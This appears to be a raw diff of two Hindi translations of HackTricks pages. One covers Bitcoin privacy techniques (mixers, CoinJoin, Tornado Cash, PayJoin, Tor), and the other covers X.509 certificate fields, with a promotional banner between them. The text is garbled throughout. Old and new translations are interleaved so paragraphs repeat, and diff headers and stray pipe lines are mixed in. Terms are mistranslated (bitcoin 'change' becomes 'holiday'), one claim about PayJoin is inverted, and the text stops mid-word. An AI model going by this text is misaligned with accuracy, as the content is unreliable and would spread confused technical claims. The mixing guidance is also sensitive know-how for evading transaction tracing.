एक उपयोगकर्ता **एक मिक्सिंग सेवा को बिटकॉइन भेजेगा** और सेवा **उपयोगकर्ता को विभिन्न बिटकॉइन वापस भेजेगी**, एक शुल्क कम करके। सिद्धांत में, एक प्रतिकूल व्यक्ति ब्लॉकचेन को अवलोकन करते समय **आने और जाने वाले लेन-देन को जोड़ने में असमर्थ होगा**।
|
||||
|
||||
हालांकि, उपयोगकर्ता को मिक्सिंग सेवा पर भरोसा करना होगा कि वह बिटकॉइन वापस करेगी और साथ ही यह भी कि वह प्राप्त और भेजे गए पैसे के बीच संबंधों के बारे में लॉग नहीं बचा रही है।\
|
||||
कुछ अन्य सेवाएं भी मिक्सर्स के रूप में उपयोग की जा सकती हैं, जैसे कि बिटकॉइन कैसीनो जहां आप बिटकॉइन भेज सकते हैं और बाद में उन्हें प्राप्त कर सकते हैं।
|
||||
हालांकि, उपयोगकर्ता को मिक्सिंग सेवा पर भरोसा करना होगा कि वह बिटकॉइन वापस करेगी और यह भी नहीं रिकॉर्ड सहेज रही है धन के प्राप्त और भेजे जाने के बीच संबंधों के बारे में।\
|
||||
कुछ अन्य सेवाएं भी मिक्सर के रूप में उपयोग की जा सकती हैं, जैसे बिटकॉइन कैसीनो जहां आप बिटकॉइन भेज सकते हैं और बाद में उन्हें पुनः प्राप्त कर सकते हैं।
|
||||
|
||||
## CoinJoin
|
||||
## कॉइनजॉइन
|
||||
|
||||
**CoinJoin** **कई उपयोगकर्ताओं के लेनदेन को केवल एक में मिलाएगा** ताकि एक पर्यवेक्षक के लिए यह पता लगाना अधिक **कठिन** हो जाए कि **कौन सा इनपुट किस आउटपुट से संबंधित है**।\
|
||||
यह एक नई स्तर की गोपनीयता प्रदान करता है, हालांकि, **कुछ** **लेनदेन** जहां कुछ इनपुट और आउटपुट राशियाँ संबंधित हैं या बाकी इनपुट्स और आउटपुट्स से बहुत अलग हैं **अभी भी बाहरी पर्यवेक्षक द्वारा संबंधित की जा सकती हैं**।
|
||||
**कॉइनजॉइन** विभिन्न उपयोगकर्ताओं के कई लेन-देनों को केवल एक में मिलाएगा ताकि एक अवलोकन के लिए अधिक कठिन हो जाए कि **कौन सा इनपुट किस आउटपुट से संबंधित है**।\
|
||||
यह एक नई स्तर की गोपनीयता प्रदान करता है, हालांकि, **कुछ** **लेन-देन** जहां कुछ इनपुट और आउटपुट राशियाँ संबंधित हैं या बाकी इनपुट और आउटपुट से बहुत अलग हैं **बाहरी अवलोकन द्वारा संबंधित हो सकते हैं**।
|
||||
|
||||
बिटकॉइन के ब्लॉकचेन पर (संभावित) CoinJoin लेनदेन आईडी के उदाहरण हैं `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` और `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`।
|
||||
बिटकॉइन के ब्लॉकचेन पर (संभावित) कॉइनजॉइन लेन-देन आईडी के उदाहरण हैं `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` और `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`।
|
||||
|
||||
[**https://coinjoin.io/en**](https://coinjoin.io/en)\
|
||||
**Coinjoin
|
||||
**कॉइनजॉइन के लिए समान लेकिन बेहतर और एथीरियम के लिए आपके पास** [**टॉर्नाडो कैश**](https://tornado.cash)
|
||||
```
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
```markdown
|
||||
इसे एक साधारण लेनदेन के रूप में समझा जा सकता है जो कहीं भुगतान कर रहा है जिसमें बचा हुआ बदलाव है (अभी के लिए यह प्रश्न अनदेखा करें कि कौन सा आउटपुट भुगतान है और कौन सा बदलाव है)। इस लेनदेन को समझने का एक अन्य तरीका यह है कि 2 BTC इनपुट एक व्यापारी के स्वामित्व में है और 5 BTC उनके ग्राहक के स्वामित्व में है, और इस लेनदेन में ग्राहक व्यापारी को 1 BTC का भुगतान कर रहा है। यह जानने का कोई तरीका नहीं है कि इन दो व्याख्याओं में से कौन सी सही है। परिणाम एक coinjoin लेनदेन है जो सामान्य-इनपुट-स्वामित्व ह्यूरिस्टिक को तोड़ता है और गोपनीयता में सुधार करता है, लेकिन यह भी **अप्रत्यक्ष और किसी भी सामान्य बिटकॉइन लेनदेन से अप्रभेद्य है**।
|
||||
# ब्लॉकचेन और क्रिप्टो-मुद्राएं
|
||||
|
||||
यदि PayJoin लेनदेन यहां तक कि मध्यम रूप से भी इस्तेमाल किए जाते हैं, तो यह **सामान्य-इनपुट-स्वामित्व ह्यूरिस्टिक को व्यवहार में पूरी तरह से दोषपूर्ण बना देगा**। चूंकि वे अप्रत्यक्ष हैं, हमें यह भी पता नहीं चलेगा कि वे आज इस्तेमाल किए जा रहे हैं या नहीं। चूंकि लेनदेन निगरानी कंपनियां ज्यादातर उस ह्यूरिस्टिक पर निर्भर करती हैं, 2019 तक PayJoin विचार के बारे में बहुत उत्साह है।
|
||||
यह एक साधारण लेन-देन के रूप में व्याख्या की जा सकती है जिसमें बची हुई छुट्टी के साथ कहीं भुगतान किया जा रहा है (अब यह सवाल नजरअंदाज करें कि कौन सा आउटपुट भुगतान है और कौन छुट्टी है)। इस लेन-देन को एक और तरीके से व्याख्या किया जा सकता है कि 2 BTC इनपुट व्यापारी के पास है और 5 BTC उनके ग्राहक के पास है, और इस लेन-देन में ग्राहक द्वारा 1 BTC का भुगतान करना शामिल है। इन दो व्याख्याओं में से कौन सही है, यह कहना मुश्किल है। परिणाम एक कॉइनजॉइन लेन-देन है जो सामान्य-इनपुट-स्वामित्व संकेतक को तोड़ता है और गोपनीयता में सुधार करता है, लेकिन यह भी **अनुसंधान योग्य और किसी भी साधारण बिटकॉइन लेन-देन से असंवेदनशील और असंवेदनीय है**।
|
||||
|
||||
यदि PayJoin लेन-देन कार्यान्वित होते तो यह **सामान्य-इनपुट-स्वामित्व संकेतक को व्यावहारिक रूप में पूरी तरह गलत साबित कर देता**। जैसे ही वे अनुसंधान योग्य होते हैं, हमें यह भी पता नहीं चलेगा कि वे आज का उपयोग कर रहे हैं या नहीं। जैसा कि लेन-देन अनुसंधान कंपनियाँ अधिकांशत: उस संकेतक पर निर्भर करती हैं, इसलिए 2019 के रूप में PayJoin विचार के बारे में बहुत उत्साह है।
|
||||
|
||||
# बिटकॉइन गोपनीयता अच्छी प्रथाएं
|
||||
|
||||
## वॉलेट सिंक्रनाइज़ेशन
|
||||
## वॉलेट समक्रमण
|
||||
|
||||
बिटकॉइन वॉलेट्स को किसी तरह अपने बैलेंस और इतिहास की जानकारी प्राप्त करनी चाहिए। 2018 के अंत तक सबसे व्यावहारिक और निजी मौजूदा समाधान **पूर्ण नोड वॉलेट** (जो अधिकतम निजी है) और **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग** (जो बहुत अच्छी है) का उपयोग करना है।
|
||||
बिटकॉइन वॉलेट को उनके शेष और इतिहास के बारे में जानकारी प्राप्त करनी चाहिए। दिसंबर 2018 के बाद सबसे व्यावहारिक और निजी मौजूदा समाधान हैं **पूर्ण नोड वॉलेट** (जो अधिकतम निजी है) और **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग** (जो बहुत अच्छा है) का उपयोग करना।
|
||||
|
||||
* **पूर्ण नोड:** पूर्ण नोड पूरे ब्लॉकचेन को डाउनलोड करते हैं जिसमें बिटकॉइन में होने वाले हर ऑन-चेन [लेनदेन](https://en.bitcoin.it/wiki/Transaction) शामिल होते हैं। इसलिए एक विरोधी जो उपयोगकर्ता के इंटरनेट कनेक्शन की निगरानी कर रहा है, वह यह नहीं जान पाएगा कि उपयोगकर्ता किन लेनदेनों या पतों में रुचि रखता है।
|
||||
* **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग:** क्लाइंट-साइड ब्लॉक फ़िल्टरिंग का काम **फ़िल्टर्स** बनाने से होता है जिसमें एक ब्लॉक में हर लेनदेन के लिए सभी **पते** शामिल होते हैं। फ़िल्टर्स यह परीक्षण कर सकते हैं कि कोई **तत्व सेट में है** या नहीं; गलत सकारात्मक संभव हैं लेकिन गलत नकारात्मक नहीं। एक हल्के वॉलेट को हर **ब्लॉक** के लिए सभी फ़िल्टर्स को **डाउनलोड** करना होगा और अपने **स्वयं के** **पतों** के साथ मेल खाने की जांच करनी होगी। जिन ब्लॉकों में मेल खाते हैं, उन्हें पीयर-टू-पीयर नेटवर्क से पूरी तरह से डाउनलोड किया जाएगा, और उन ब्लॉकों का उपयोग वॉलेट के इतिहास और वर्तमान बैलेंस प्राप्त करने के लिए किया जाएगा।
|
||||
* **पूर्ण नोड:** पूर्ण नोड पूरे ब्लॉकचेन को डाउनलोड करते हैं जिसमें बिटकॉइन में हुई हर ऑन-चेन [लेन-देन](https://en.bitcoin.it/wiki/Transaction) शामिल है। इसलिए एक प्रतिकूल जो उपयोगकर्ता की इंटरनेट कनेक्शन को देख रहा है, वह यह नहीं जान पाएगा कि उपयोगकर्ता किस लेन-देन या पतों में रुचि रखता है।
|
||||
* **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग:** क्लाइंट-साइड ब्लॉक फ़िल्टरिंग काम करता है जिसमें **फ़िल्टर** बनाए जाते हैं जो ब्लॉक में हर लेन-देन के लिए सभी **पते** को शामिल करते हैं। फ़िल्टर यह जांच सकते हैं कि क्या एक **तत्व सेट में है**; गलत पॉजिटिव्स संभव हैं लेकिन गलत नेगेटिव्स नहीं। एक हल्के वॉलेट को ब्लॉकचेन में हर ब्लॉक के लिए सभी फ़िल्टर डाउनलोड करना होगा और अपने **खुद के पतों** के साथ मिलान की जांच करेगा। उन ब्लॉक्स को जो मिलान करते हैं, उन ब्लॉक्स का पूरा डाउनलोड पीयर-टू-पीयर नेटवर्क से किया जाएगा, और उन ब्लॉक्स का उपयोग वॉलेट के इतिहास और वर्तमान शेष प्राप्त करने के लिए किया जाएगा।
|
||||
|
||||
## Tor
|
||||
## टॉर
|
||||
|
||||
बिटकॉइन नेटवर्क एक पीयर-टू-पीयर नेटवर्क का उपयोग करता है, जिसका अर्थ है कि अन्य पीयर्स आपका IP पता जान सकते हैं। इसीलिए यह सिफारिश की जाती है कि **जब भी आप बिटकॉइन नेटवर्क के साथ इंटरैक्ट करना चाहते हैं तो Tor के माध्यम से कनेक्ट करें**।
|
||||
बिटकॉइन नेटवर्क का उपयोग पीर-टू-पीर नेटवर्क करता है, जिसका मतलब है कि अन्य पीयर आपका आईपी पता सीख सकते हैं। इसलिए यह सिफारिश की जाती है कि आप **हर बार बिटकॉइन नेटवर्क के साथ बातचीत करना चाहें तो टॉर के माध्यम से कनेक्ट करें**।
|
||||
|
||||
## पते के पुन: उपयोग से बचना
|
||||
## पते का पुनः उपयोग न करना
|
||||
|
||||
**पतों का एक से अधिक बार उपयोग होना गोपनीयता के लिए बहुत हानिकारक है क्योंकि इससे अधिक ब्लॉकचेन लेनदेन एक साथ जुड़ जाते हैं जिससे साबित होता है कि वे एक ही संस्था द्वारा बनाए गए थे**। बिटकॉइन का सबसे निजी और सुरक्षित उपयोग यह है कि प्रत्येक व्यक्ति को जो आपको भुगतान करता है उसे एक ब्रांड **नया पता भेजें**। प्राप्त सिक्कों के खर्च होने के बाद पते का फिर कभी उपयोग नहीं किया जाना चाहिए। इसके अलावा, बिटकॉइन भेजते समय एक ब्रांड नया बिटकॉइन पता मांगा जाना चाहिए। सभी अच्छे बिटकॉइन वॉलेट्स में एक उपयोगकर्ता इंटरफ़ेस होता है जो पते के पुन: उपयोग को हतोत्साहित करता है।
|
||||
**पतों का एक से अधिक बार उपयोग करना गोपनीयता के लिए बहुत हानिकारक है क्योंकि यह अधिक ब्लॉकचेन लेन-देन को जोड़ता है जिसमें साबित होता है कि वे एक ही एकाधिकारी द्वारा बनाए गए थे**। बिटकॉइन का सबसे निजी और सुरक्षित तरीका यह है कि हर व्यक्ति को जो आपको भुगतान करता है, उसे एक नया पता भेजा जाए। प्राप्त किए गए सिक्के खर्च कर दिए जाने के बाद पता कभी भी फिर से उपयोग नहीं किया जाना चाहिए। साथ ही, जब बिटकॉइन भेजा जाए, तो एक नया बिटकॉइन पता मांगा जाना चाहिए। सभी अच्छे बिटकॉइन वॉलेट में उपयोगकर्ता इंटरफेस होता है जो पते के पुनः उपयोग को निषेधित करता है।
|
||||
|
||||
## एकाधिक लेनदेन
|
||||
## एकाधिक लेन-देन
|
||||
|
||||
**किसी को एक से अधिक ऑन-चेन लेनदेन के साथ भुगतान करना** राशि-आधारित गोपनीयता हमलों जैसे राशि सहसंबंध और गोल नंबरों की शक्ति को काफी कम कर सकता है। उदाहरण के लिए, यदि उपयोगकर्ता किसी को 5 BTC का भुगतान करना चाहता है और वे नहीं चाहते कि 5 BTC का मूल्य आसानी से खोजा जा सके, तो वे 2 BTC और 3 BTC के मूल्य के लिए दो लेनदेन भेज सकते हैं जो मिलकर 5 BTC बनाते हैं।
|
||||
किसी को **एक से अधिक ऑन-चेन लेन-देन** के साथ भुगतान करना राशि-आधारित गोपनीयता हमलों जैसे राशि संबंध और गोल नंबर को बहुत अधिक कम कर सकता है। उदाहरण के लिए, यदि उपयोगकर्ता किसी को 5 BTC भुगतान करना चाहता है और वे नहीं चाहते कि 5 BTC मूल्य आसानी से खोजा जा सके, तो वे 2 BTC और 3 BTC के मूल्य के लिए दो लेन-देन भेज सकते हैं जो मिलाकर 5 BTC के बराबर होते हैं।
|
||||
|
||||
## बदलाव से बचना
|
||||
## छुट्टी से बचाव
|
||||
|
||||
बदलाव से बचना वह है जहां लेनदेन इनपुट्स और आउटपुट्स को सावधानीपूर्वक चुना जाता है ताकि बिल्कुल भी बदलाव आउटपुट की आवश्यकता न हो। **बदलाव आउटपुट न होना गोपनीयता के लिए उत्कृष्ट है**, क्योंकि यह बदलाव का पता लगाने वाले ह्यूरिस्टिक्स को तोड़ता है।
|
||||
छुट्टी से बचाव वहाँ लेन-देन इनपुट और आउटपुट को ध्यानपूर्वक चुना जाता है ताकि किसी भी छुट्टी की आउटपुट की आवश्यकता न हो। **किसी भी छुट्टी की अभाव गोपनीयता के लिए उत्कृष्ट है**, क्योंकि यह छुट्टी की पहचान संकेतकों को तोड़ता है।
|
||||
|
||||
## एकाधिक बदलाव आउटपुट्स
|
||||
## एकाधिक छुट्टी आउटपुट
|
||||
|
||||
यदि बदलाव से बचना संभव नहीं है तो **एक से अधिक बदलाव आउटपुट बनाना गोपनीयता में सुधार कर सकता है**। यह भी बदलाव का पता लगाने वाले ह्यूरिस्टिक्स को तोड़ता है जो आमतौर पर मानते हैं कि केवल एक ही बदलाव आउटपुट होता है। चूंकि यह विधि सामान्य से अधिक ब्लॉक स्थान का उपयोग करती है, बदलाव से बचना पसंदीदा है।
|
||||
यदि छुट्टी से बचाव विकल्प नहीं है तो **एक से अधिक छुट्टी आउटपुट बनाने से गोपनीयता में सुधार हो सकता है**। यह भी छुट्टी की पहचान संकेतकों को तोड़ता है जो सामान्यत: केवल एक ही छुट्टी आउटपुट होने का अनुमान करते हैं। जैसा कि यह विधि सामान्य से अधिक ब्लॉक स्पेस का उपयोग करती है, छुट्टी से बचाव अधिक उत्तम है।
|
||||
|
||||
# Monero
|
||||
# मोनेरो
|
||||
|
||||
जब Monero विकसित किया गया था, तो **पूर्ण गुमनामी** की गहरी आवश्यकता थी जिसे इसने हल करने की कोशिश की थी, और बड़े पैमाने पर, इसने उस रिक्ति को भर दिया है
|
||||
जब मोनेरो विकसित किया गया था, तो पूरी रूप से **पूर्ण गुमनामी** की आवश्यकता थी जिसे यह हल करने का प्रयास किया गया था, और बड़े हिस्से में, यह उस शून्यता को भर दिया है।
|
||||
|
||||
# इथेरियम
|
||||
|
||||
## गैस
|
||||
|
||||
गैस एक इ
|
||||
|
|
|
@ -2,64 +2,64 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग तकनीकें साझा करें.
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** का पालन करें।**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करके आसानी से **वर्कफ्लोज़ को बिल्ड और ऑटोमेट** करें जो दुनिया के **सबसे उन्नत** समुदाय टूल्स द्वारा संचालित होते हैं.\
|
||||
आज ही एक्सेस प्राप्त करें:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें और दुनिया के **सबसे उन्नत समुदाय उपकरणों** द्वारा संचालित **कार्यप्रवाहों** को आसानी से निर्मित और स्वचालित करें।\
|
||||
आज ही पहुंचें:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## प्रमाणपत्र क्या है
|
||||
|
||||
क्रिप्टोग्राफी में, **पब्लिक की प्रमाणपत्र,** जिसे **डिजिटल प्रमाणपत्र** या **पहचान प्रमाणपत्र** भी कहा जाता है, एक इलेक्ट्रॉनिक दस्तावेज होता है जिसका उपयोग पब्लिक की के स्वामित्व को साबित करने के लिए किया जाता है। प्रमाणपत्र में की के बारे में जानकारी, उसके मालिक (जिसे विषय कहा जाता है) की पहचान के बारे में जानकारी, और एक इकाई के डिजिटल हस्ताक्षर शामिल होते हैं जिसने प्रमाणपत्र की सामग्री की पुष्टि की है (जिसे जारीकर्ता कहा जाता है)। यदि हस्ताक्षर मान्य है, और प्रमाणपत्र की जांच करने वाले सॉफ्टवेयर को जारीकर्ता पर भरोसा है, तो वह उस की का उपयोग प्रमाणपत्र के विषय के साथ सुरक्षित रूप से संवाद करने के लिए कर सकता है।
|
||||
रहस्यमयता में, एक **सार्वजनिक कुंजी प्रमाणपत्र,** जिसे **डिजिटल प्रमाणपत्र** या **पहचान प्रमाणपत्र** भी कहा जाता है, एक इलेक्ट्रॉनिक दस्तावेज है जिसका उपयोग किसी सार्वजनिक कुंजी के स्वामित्व को साबित करने के लिए किया जाता है। प्रमाणपत्र में कुंजी के बारे में जानकारी, उसके मालिक की पहचान के बारे में जानकारी (जिसे विषय कहा जाता है), और एक ऐसे एक संस्था का डिजिटल हस्ताक्षर शामिल है जिसने प्रमाणपत्र की सामग्री की पुष्टि की है (जिसे जारीकर्ता कहा जाता है)। यदि हस्ताक्षर मान्य है, और प्रमाणपत्र की सामग्री को जांचने वाला सॉफ़्टवेयर जारीकर्ता पर विश्वास करता है, तो वह कुंजी का उपयोग प्रमाणपत्र के विषय के साथ सुरक्षित रूप से संचार करने के लिए कर सकता है।
|
||||
|
||||
एक विशिष्ट [पब्लिक-की इंफ्रास्ट्रक्चर](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) योजना में, प्रमाणपत्र जारीकर्ता एक [प्रमाणपत्र प्राधिकरण](https://en.wikipedia.org/wiki/Certificate_authority) (CA) होता है, आमतौर पर एक कंपनी जो ग्राहकों को उनके लिए प्रमाणपत्र जारी करने के लिए शुल्क लेती है। इसके विपरीत, एक [विश्वास के जाल](https://en.wikipedia.org/wiki/Web_of_trust) योजना में, व्यक्ति सीधे एक दूसरे की कीज़ पर हस्ताक्षर करते हैं, एक प्रारूप में जो पब्लिक की प्रमाणपत्र के समान कार्य करता है।
|
||||
एक सामान्य [सार्वजनिक-कुंजी प्रणाली](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) योजना में, प्रमाणपत्र जारीकर्ता एक [प्रमाणपत्र प्राधिकरण](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) होता है, जो आम तौर पर ग्राहकों से प्रमाणपत्र जारी करने के लिए शुल्क लेती है। उसके विपरीत, एक [विश्व विश्वास](https://en.wikipedia.org/wiki/Web\_of\_trust) योजना में, व्यक्ति सीधे एक-दूसरे की कुंजियों पर हस्ताक्षर करते हैं, जो एक सार्वजनिक कुंजी प्रमाणपत्र के लिए एक समान कार्य करता है।
|
||||
|
||||
पब्लिक की प्रमाणपत्रों के लिए सबसे आम प्रारूप [X.509](https://en.wikipedia.org/wiki/X.509) द्वारा परिभाषित है। क्योंकि X.509 बहुत सामान्य है, प्रारूप को विशेष उपयोग के मामलों के लिए परिभाषित प्रोफाइलों द्वारा और अधिक सीमित किया जाता है, जैसे कि [पब्लिक की इंफ्रास्ट्रक्चर (X.509)](https://en.wikipedia.org/wiki/PKIX) जो RFC 5280 में परिभाषित है।
|
||||
सार्वजनिक कुंजी प्रमाणपत्रों के लिए सबसे सामान्य प्रारूप को [X.509](https://en.wikipedia.org/wiki/X.509) द्वारा परिभाषित किया गया है। क्योंकि X.509 बहुत सामान्य है, इस प्रारूप को कुछ उपयोग मामलों के लिए परिभाषित प्रोफ़ाइल द्वारा और अधिक संकुचित किया गया है, जैसे कि [सार्वजनिक कुंजी प्रणाली (X.509)](https://en.wikipedia.org/wiki/PKIX) जैसा कि RFC 5280 में परिभाषित है।
|
||||
|
||||
## x509 सामान्य फील्ड्स
|
||||
## x509 सामान्य क्षेत्र
|
||||
|
||||
* **संस्करण संख्या:** x509 प्रारूप का संस्करण।
|
||||
* **क्रम संख्या**: CA की प्रणालियों के भीतर प्रमाणपत्र की अद्वितीय पहचान के लिए उपयोग की जाती है। विशेष रूप से यह प्रतिस्थापन जानकारी को ट्रैक करने के लिए उपयोग की जाती है।
|
||||
* **विषय**: प्रमाणपत्र किसके लिए है: एक मशीन, एक व्यक्ति, या एक संगठन।
|
||||
* **सामान्य नाम**: प्रमाणपत्र द्वारा प्रभावित डोमेन। 1 या अधिक हो सकते हैं और इसमें वाइल्डकार्ड्स शामिल हो सकते हैं।
|
||||
* **देश (C)**: देश
|
||||
* **प्रतिष्ठित नाम (DN)**: पूरा विषय: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
|
||||
* **स्थानीयता (L)**: स्थानीय स्थान
|
||||
* **संगठन (O)**: संगठन का नाम
|
||||
* **संगठनात्मक इकाई (OU)**: एक संगठन का विभाजन (जैसे "मानव संसाधन").
|
||||
* **राज्य या प्रांत (ST, S या P)**: राज्य या प्रांत के नामों की सूची
|
||||
* **जारीकर्ता**: जिस इकाई ने जानकारी की पुष्टि की और प्रमाणपत्र पर हस्ताक्षर किए।
|
||||
* **सामान्य नाम (CN)**: प्रमाणपत्र प्राधिकरण का नाम
|
||||
* **देश (C)**: प्रमाणपत्र प्राधिकरण का देश
|
||||
* **प्रतिष्ठित नाम (DN)**: प्रमाणपत्र प्राधिकरण का प्रतिष्ठित नाम
|
||||
* **स्थानीयता (L)**: स्थानीय स्थान जहां संगठन पाया जा सकता है।
|
||||
* **संगठन (O)**: संगठन का नाम
|
||||
* **संगठनात्मक इकाई (OU)**: एक संगठन का विभाजन (जैसे "मानव संसाधन").
|
||||
* **नॉट बिफोर**: प्रमाणपत्र के मान्य होने का सबसे पहला समय और तारीख। आमतौर पर यह प्रमाणपत्र जारी किए जाने के क्षण से कुछ घंटे या दिन पहले सेट किया जाता है, ताकि [घड़ी की विसंगति](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) समस्याओं से बचा जा सके।
|
||||
* **नॉट आफ्टर**: समय और तारीख जिसके बाद प्रमाणपत्र अब मान्य नहीं है।
|
||||
* **पब्लिक की**: प्रमाणपत्र विषय की एक पब्लिक की। (यह मुख्य भागों में से एक है क्योंकि यह CA द्वारा हस्ताक्षरित होता है)
|
||||
* **पब्लिक की एल्गोरिथ्म**: पब्लिक की उत्पन्न करने के लिए उपयोग की गई एल्गोरिथ्म। जैसे RSA।
|
||||
* **पब्लिक की कर्व**: एलिप्टिक कर्व पब्लिक की एल्गोरिथ्म द्वारा उपयोग किया गया कर्व (यदि लागू हो)। जैसे nistp521।
|
||||
* **पब्लिक की एक्सपोनेंट**: पब्लिक की डेराइव करने के लिए उपयोग किया गया एक्सपोनेंट (यदि लागू हो)। जैसे 65537।
|
||||
* **पब्लिक की साइज**: बिट्स में पब्लिक की स्पेस का आकार। जैसे 2048।
|
||||
* **सिग्नेचर एल्गोरिथ्म**: पब्लिक की प्रमाणपत्र को हस्ताक्षर करने के लिए उपयोग की गई एल्गोरिथ्म।
|
||||
* **सिग्नेचर**: जारीकर्ता की प्राइवेट की द्वारा प्रमाणपत्र शरीर का एक हस्ताक्षर।
|
||||
* **क्रमांक:** CA के सिस्टम में प्रमाणपत्र को अद्वितीय रूप से पहचानने के लिए उपयोग किया जाता है। विशेष रूप से यह प्रमाणपत्र की रद्दीकरण जानकारी को ट्रैक करने के लिए उपयोग किया जाता है।
|
||||
* **विषय:** एक ऐसा एंटिटी जिसका प्रमाणपत्र है: एक मशीन, एक व्यक्ति, या एक संगठन।
|
||||
* **सामान्य नाम:** प्रमाणपत्र से प्रभावित डोमेन। 1 या अधिक हो सकते हैं और वाइल्डकार्ड शामिल कर सकते हैं।
|
||||
* **देश (C):** देश
|
||||
* **विभाजित नाम (DN):** पूरा विषय: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
|
||||
* **स्थान (L):** स्थान
|
||||
* **संगठन (O):** संगठन का नाम
|
||||
* **संगठनिक इकाई (OU):** संगठन का विभाजन (जैसे "मानव संसाधन").
|
||||
* **राज्य या प्रांत (ST, S या P):** राज्य या प्रांत के नामों की सूची
|
||||
* **जारीकर्ता:** जानकारी की पुष्टि करने वाला एंटिटी और प्रमाणपत्र पर हस्ताक्षर किया है।
|
||||
* **सामान्य नाम (CN):** प्रमाणपत्र प्राधिकरण का नाम
|
||||
* **देश (C):** प्रमाणपत्र प्राधिकरण का देश
|
||||
* **विभाजित नाम (DN):** प्रमाणपत्र प्राधिकरण का विभाजित नाम
|
||||
* **स्थान (L):** संगठन को पाया जा सकने वाला स्थान।
|
||||
* **संगठन (O):** संगठन का नाम
|
||||
* **संगठनिक इकाई (OU):** संगठन का विभाजन (जैसे "मानव संसाधन").
|
||||
* **शुरू से पहले:** प्रमाणपत्र को मान्य रहने की सबसे पहली समय और तारीख। सामान्यत: प्रमाणपत्र जारी किए जाने से कुछ घंटे या दिन पहले सेट किया जाता है, समय की असंगति समस्याओं से बचने के लिए।
|
||||
* **बाद में नहीं:** प्रमाणपत्र को अब और मान्य नहीं होने की समय और तारीख।
|
||||
* **सार्वजनिक कुंजी:** प्रमाणपत्र विषय की सार्वजनिक कुंजी। (यह CA द्वारा हस्ताक्षित किया जाने वाला मुख्य हिस्सा है)
|
||||
* **सार्वजनिक कुंजी एल्गोरिदम:** सार्वजनिक कुंजी उत्पन्न करने के लिए उपयोग किया गया एल्गोरिदम। जैसे RSA।
|
||||
* **सार्वजनिक कुंजी कर्व:** एलिप्टिक कर्व सार्वजनिक कुंजी एल्गोरिदम द्वारा उपयोग किया गया कर्व (यदि लागू हो)। जैसे nistp521।
|
||||
* **सार्वजनिक कुंजी घन:** बिट में सार्वजनिक कुंजी स्थान का आकार। जैसे 2048।
|
||||
* **हस्ताक्षर एल्गोरिदम:** सार्वजनिक कुंजी प्रमाणपत्र को हस्ताक्षित करने के लिए उपयोग किया गया एल्गोरिदम।
|
||||
* **हस्ताक्षर:** प्रमाणपत्र शरीर का एक हस्ताक्षर जारीकर्ता की निजी कुंजी द्वारा।
|
||||
* **x509v3 एक्सटेंशन्स**
